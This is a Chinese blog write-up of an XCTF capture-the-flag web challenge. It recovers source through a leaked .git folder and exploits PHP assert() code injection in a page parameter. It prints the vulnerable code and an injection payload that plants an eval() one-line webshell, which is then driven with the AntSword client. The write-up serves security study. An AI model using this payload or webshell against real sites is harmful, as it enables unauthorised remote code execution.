关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客
0x01:考点速览
本题考察的知识点如下:
-
.git 文件泄露,利用 GitHack 从泄露的 .git 目录还原目标源码
-
assert ()
命令执行漏洞(PHP 7.2.0 以前) —— 想想 SQL 注入,能注入的不止 SQL!
0x02:Write UP
进入靶场,是一个网站,顺便学一个英语 “I wrote it myself from scratch! —— 我从零开始写的!”,随便点点页面,可以发现,它切换页面是通过 Get 请求,向后端传递 page 参数实现的:
我们还在 About 里发现了一点奇特的东西,”I used Git”:
Git 泄露估计是跑不了了,直接访问,在靶场链接后添加 /.git/ 尝试访问 .git 文件夹:
成功访问 .git 文件夹,有点乱,也看不懂,我们使用 GitHack 工具重建还原工程源代码:
下面就是对目标源代码的审计了,简单介绍一下目标网站的目录结构及其文件功能:
- - templates
- - about.php -> About 页面的内容
- - contact.php -> Contact 页面的内容
- - flag.php -> flag 里的内容被注释了,且赋值格式为 $FLAG = "";
- - home.php -> HOME 页面的内容
- index.php -> 主体结构,通过 page 传入的内容,包含对应的模板文件
通过 flag.php 里的内容,其实我们也可以发现,直接包含 flag.php 文件我们是无法看到 Flag 的,因为它是以赋值的形式保存的。
下面我们审计一下逻辑部分,也就是 index.php 文件中的内容(这里我只给出最主要的部分):
-
- // 参数接收
- if (isset($_GET['page'])) {
- $page = $_GET['page'];
- } else {
- $page = "home";
- }
-
- // 处理接收到的参数并进行过滤
- $file = "templates/" . $page . ".php";
-
- // I heard '..' is dangerous!
- assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // 检测拼接后的文件是否包含 ..
-
- // TODO: Make this look nice
- assert("file_exists('$file')") or die("That file doesn't exist!"); // 检测待包含的文件是否存在
- ?>
-
-
-
- // 执行文件包含 -> flag 是以 $FLAG = "" 的形式赋值的,要想输出,除非用 php 伪协议,但是在上面我们传入的 $page 会在前面拼接 templates/,所以这里使用 php 伪协议不能成功读取文件
- require_once $file;
- ?>
通过代码审计,我们可以发现,利用文件包含,包含出 flag.php 其实不太现实。所以我们将眼光放向 assert () 函数,我们可以发现,assert () 函数中的内容是由 PHP 函数构成的字符串,而对方如果想要实现过滤,则这字符串格式的 PHP 函数,必然会执行,但内容既然是字符串,那是否说明了,我们可以通过代码注入的方式,更改字符串的内容,使其满足我们的需要?
通过百度,我们也可以发现,assert () 函数是存在命令执行漏洞的:
所以接下来,就是构造 Payload,使目标执行我们的传递过去的代码了:
-
在 Payload 1.0 中,我们首先构造了 strpos (‘templates/’, ‘..’),该函数结果必为 false,根据 “0 或” 规则,或前面执行结果为 false,会继续执行后面得代码,直到碰到 true,所以目标会执行 phpinfo () 弹出目标得基本信息,随后我们又使用 // 注释掉了后面没用得语句(联想一下 SQL 注入,是不是很像):
通过页面的返回看,目标成功执行了我们传递的代码。下面更进一步,直接向目标传递一句话木马,Payload 如下:
?page=', '..') or eval($_REQUEST['hacker']); //
页面显示防御了一次攻击,到底真防住了还是假防住了呢,我们拿蚁剑试试就知道了:
芜湖,防御失败,下面的内容就是通过虚拟终端,查看一下 flag.php 文件内容了,没有任何意外,成功获取 flag:
评论记录:
回复评论: